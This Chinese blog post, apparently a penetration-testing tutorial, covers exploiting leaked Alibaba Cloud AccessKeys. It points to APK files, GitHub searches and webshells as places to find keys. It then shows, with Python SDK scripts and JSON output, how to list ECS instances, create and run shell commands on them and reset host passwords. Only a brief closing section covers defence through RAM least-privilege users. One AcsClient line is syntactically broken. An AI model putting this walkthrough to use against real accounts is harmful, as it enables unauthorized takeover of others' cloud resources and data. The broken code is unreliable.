云安全-AccessKey渗透中的利用
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/9353332e532830bcf125f6eaa81b-1449121-1024x684.jpg)
内容不太适合以公开的形式发布, 做项目时候发现AWS与某云OSS的AccessKey,然后去某云官网看文档发现很多有意思的东西。
文章整体结构:
- 渗透场景
- 云术语了解
- 创建一个OSS
- 访问控制了解
- Access Key身份验证了解
- OSS三种连接方式
- 实际案例
- OpenAPI Explorer调用执行ECS命令
- 如何防护
- RAM用户
渗透场景
- APK文件中存放Access Key;
- Github查找目标关键字发现Access Key与AccessKey Secret;
- 拥有WebShell低权限的情况下搜集阿里云Access Key利用;
云术语概述
RDS
- 关系型数据库服务(Relational Database Service,简称 RDS)是一种稳定可靠、可弹性伸缩的在线数据库服务。
- RDS 采用即开即用方式,兼容 MySQL、 SQL Server 两种关系型数据库,并提供数据库在线扩容、备份回滚、性能监测 及分析功能。
- RDS 与云服务器搭配使用 I/O 性能倍增,内网互通避免网络瓶颈。
对象存储 OSS(理解为网盘)
- 对象存储(Object Storage Service),是阿里云对外提供的海量、安全和高可靠的云存储服务。
- RESTFul API 的平台无关性,容量和处理能力的弹性扩展,按实际容量付费真正使您专注于核心业务。
ODPS
- Open Data Processing Service,是基于阿里云完全自主知识产权的云计 算平台构建的数据存储与分析的平台。
- ODPS 提供大规模数据存储与数据分析, 用户可以使用 ODPS 平台上提供的数据模型工具与服务,同时也支持用户自己发布数据分析工具。
ECS
- 云服务器(Elastic Compute Service,简称ECS)
安全组
- 安全组是一种虚拟防火墙,具备状态检测和数据包过滤功能,用于在云端划分安全域。
- 同一安全组内的ECS实例之间默认内网网络互通。
购买开通,创建Bucket(存储空间): 取名为狗子的OSS
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/1.png)
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/2.png)
OSS外网地址由:https://[Bucket名称].oss-区域.aliyuns.com 组成 guizideoss.oss-cn-beijing.aliyuncs.com 在渗透期间看到这段地址或者在配置文件中多留意一下。
访问控制
- 对 OSS 的资源访问分为拥有者访问、第三方用户访问。这里的拥有者指的是 Bucket 的拥有者,也称为开发者。
- 第三方用户是指访问 Bucket 里资源的用 户。 访问又分为匿名访问和带签名访问。
- 对于 OSS 来说,如果请求中没有携带 任何和身份相关的信息即为匿名访问。
- 带签名访问指的是按照 OSS API 文档中 规定的在请求头部或者在请求 URL 中携带签名的相关信息。
- OSS 提供 Bucket 和 Object 的权限访问控制。
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/3.png)
Access Key身份验证
- 阿里云用户可以在管理控制台里自行创建 Access Key,Access Key是由AccessKey ID 和 AccessKey Secret 组成。
- 其中 ID 是公开的,用于标识用户身份,Secret 是秘密的,用于用户鉴别。
- 当用户向 OSS 发送请求时,需要首先将发送的请求按照 OSS 指定的格式生成签名字符串;
- 然后使用 AccessKey Secret 对签名字符串进行加密(基于HMAC 算法)产生验证码。
- 验证码带时间戳,以防止重放攻击。
- OSS 收到请求以后,通过 AccessKey ID 找到对应的 AccessKey Secret,以同样的方法提取签名字符串和验证码,如果计算出来的验证码和提供的一样即认为该请求是有效的;否则,OSS 将拒绝处理这次请求,并返回 HTTP 403 错误。
三种方式来连接:
- OSS Browser
- OSSUTIL
- API Explorer
- 第三方平台
实际案例:在gayhub、pornhub查找关键词(懂的自然懂,为了不让零基础的人乱搞)
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/4.png)
使用行云管家直接导入:
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/5.png)
获取OSS数据:
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/6.png)
获取ECS主机。
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/7.png)
可直接获取阿里云主机进行重置密码等操作:
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/8.png)
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/9-1024x269.png)
OpenAPI Explorer调用:
在线API调用操作:https://api.aliyun.com/#/?product=Ecs&api=DescribeRegions 可写完后直接调试.
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/10-941x1024.png)
或CloudShell调试:
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/11-1024x542.png)
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/12-1024x542.png)
如想在本地执行Python代码,安装:
pip install oss2
pip install aliyun-python-sdk-ecs
查询一台或多台ECS实例的详细信息,DescribeInstances.py: 其中RegionId必填,地域ID,可以调用DescribeRegions查看最新的阿里云地域列表。
#!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
client = AcsClient(‘LTAccccccWCNnl', 'bxwgOMs0ccccccccccd740CD1e'c 'cn-hangzhou')
request = DescribeInstancesRequest()
request.set_accept_format('json')
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
https://help.aliyun.com/document_detail/25506.html?spm=a2c4g.11186623.4.6.2b661f3cGRL5y3
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/13.png)
{
"PageNumber": 1,
"TotalCount": 1,
"PageSize": 10,
"RequestId": “7863cccc-8c28-4c28-Bc2E-F88ccDA03F05",
"Instances": {
"Instance": [{
"ImageId": "centos_7_04_64_20G_alibase_201701015.vhd",
"VlanId": "",
"EipAddress": {
"IpAddress": "",
"AllocationId": "",
"InternetChargeType": ""
},
"ZoneId": "cn-hangzhou-e",
"IoOptimized": true,
"SerialNumber": "13bcc8bc-c3e7-4fc0-9ed4-68ccb2af884a",
"Cpu": 2,
"Memory": 4096,
"DeviceAvailable": true,
"SecurityGroupIds": {
"SecurityGroupId": ["sg-bp1dr3fcsoscccelb7su"]
},
"SaleCycle": "",
"AutoReleaseTime": "",
"ResourceGroupId": "",
"OSType": "linux",
"OSName": "CentOS 7.4 64位",
"InstanceNetworkType": "vpc",
"HostName": "iZbp17jccccarinaieihc6Z",
"CreationTime": "2017-11-01T02:32Z",
"EcsCapacityReservationAttr": {
"CapacityReservationPreference": "",
"CapacityReservationId": ""
},
"RegionId": "cn-hangzhou",
"DeletionProtection": false,
"OperationLocks": {
"LockReason": []
},
"ExpiredTime": "2019-11-01T16:00Z",
"InnerIpAddress": {
"IpAddress": []
},
"InstanceTypeFamily": "ecs.n1",
"InstanceId": "i-bp17jcccccrinaieihc6",
"NetworkInterfaces": {
"NetworkInterface": [{
"MacAddress": "00:16:3e:0f:b7:2c",
"PrimaryIpAddress": "172.16.221.2",
"NetworkInterfaceId": "eni-bpcccccclysr38p1sgn"
}]
},
"InternetMaxBandwidthIn": -1,
"CreditSpecification": "",
"InternetChargeType": "PayByTraffic",
"SpotStrategy": "NoSpot",
"StoppedMode": "Not-applicable",
"InternetMaxBandwidthOut": 94,
"VpcAttributes": {
"NatIpAddress": "",
"PrivateIpAddress": {
"IpAddress": ["172.16.221.2"]
},
"VSwitchId": "vsw-bp1ccccm3e0qtey5smp7e",
"VpcId": "vpc-bpcccccbmxvociir58ez"
},
"SpotPriceLimit": 0.0,
"StartTime": "2019-07-01T02:38Z",
"InstanceName": "aly1",
"Description": "",
"OSNameEn": "CentOS 7.4 64 bit",
"PublicIpAddress": {
"IpAddress": [“120.cc.cc.160"]
},
"InstanceType": "ecs.n1.medium",
"Status": "Running",
"Recyclable": false,
"ClusterId": "",
"GPUSpec": "",
"InstanceChargeType": "PrePaid",
"GPUAmount": 0,
"DedicatedHostAttribute": {
"DedicatedHostId": "",
"DedicatedHostName": ""
},
"DedicatedInstanceAttribute": {
"Affinity": "",
"Tenancy": ""
},
"DeploymentSetId": ""
}]
}
}
调用CreateCommand新建一条云助手命令,CreateCommand.py https://api.aliyun.com/#/?product=Ecs&api=CreateCommand¶ms={}&tab=DOC&lang=PYTHON
Name随便写Type类型:可以创建以下类型的命令:
- Windows实例适用的Bat脚本(RunBatScript)
- Windows实例适用的PowerShell脚本(RunPowerShellScript)
- Linux实例适用的Shell脚本(RunShellScript
CommandContent该参数的值必须使用Base64编码后传输,且脚本内容的大小在Base64编码之后不能超过16KB。
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/14.png)
#!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest
client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')
request = CreateCommandRequest()
request.set_accept_format('json')
request.set_Name("test1")
request.set_Type("RunShellScript")
request.set_CommandContent("aWZjb25maWc=")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
{"RequestId":"94ccc19A-5870-46c5-AE9F-39ccc9A79407","CommandId":"c-79f1aeb6632ccccc3a82f40647c1c2dd7"}
命令执行情况: DescribeCommands
#!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.DescribeCommandsRequest import DescribeCommandsRequest
client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')
request = DescribeCommandsRequest()
request.set_accept_format('json')
request.set_CommandId("c-79f1aeb6632140c3a82f40647c1c2dd7")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
{
"PageNumber": 1,
"TotalCount": 1,
"PageSize": 10,
"RequestId": "Dcccc8B72-27B0-4FF7-8DDB-A6Ccccc807F1",
"Commands": {
"Command": [{
"CreationTime": "2019-10-12T09:14Z",
"Name": "test1",
"Timeout": 3600,
"CommandContent": "aWZjb25maWc=",
"Description": "",
"Type": "RunShellScript",
"EnableParameter": false,
"ParameterNames": {
"ParameterName": []
},
"CommandId": "c-79f1aeb66cccccca82f40647c1c2dd7",
"WorkingDir": ""
}]
}
}
把所有API文档看了一遍,我认为会常用的:
DescribeSecurityGroups 查询您创建的安全组的基本信息,例如安全组ID和安全组描述等。返回列表按照安全组ID降序排列。
DescribeCommands 查询您已经创建的云助手命令
DescribeRegions 查询您可以使用的阿里云地域。
DescribeInstances 查询一台或多台ECS实例的详细信息。
GetInstanceConsoleOutput 获取一台实例的系统命令行输出,数据以Base64编码后返回。
DescribeSnapshotPackage 查询您在一个阿里云地域下已经购买的对象存储OSS存储包,存储包可以用于抵扣快照存储容量。
GetInstanceScreenshot 获取实例的截屏信息。
ExportImage 导出您的自定义镜像到与该自定义镜像同一地域的OSS Bucket里。
InvokeCommand 为一台或多台ECS实例触发一条云助手命令。
RunCommand 执行命令
如何防护
当获取AccessKey的时候就完全控制阿里云帐号,但是有时候获取OSS的AccessKey为什么获取不到ECS主机?
因为配置了RAM用户,使用RAM用户连接OSS。
RAM (Resource Access Management) 是阿里云为客户提供的用户身份管理与访问控制服务。
- 使用RAM,您可以创建、管理用户账号(比如员工、系统或应用程序),并可以控制这些用户账号对您名下资源具有的操作权限。
- 当您的企业存在多用户协同操作资源时,使用RAM可以让您避免与其他用户共享云账号密钥,按需为用户分配最小权限,从而降低您的企业信息安全风险。
- 一个云账号下可以创建多个RAM用户,对应企业内的员工、系统或应用程序。
- RAM用户归属于云账号,只能在所属云账号的空间下可见,而不是独立的云账号。
- RAM用户必须在获得云账号的授权后才能登录控制台或使用API操作云账号下的资源。
![云安全-AccessKey渗透中的利用](https://www.moonsec.com/wp-content/uploads/2020/04/15.png)
默认情况下如果没有创建RAM用户则是使用阿里云创建的用户生成的Access Key则是拥有所有管理权限的,在看文档时候发现可以通过API调用函数可以购买ECS或删除等功能.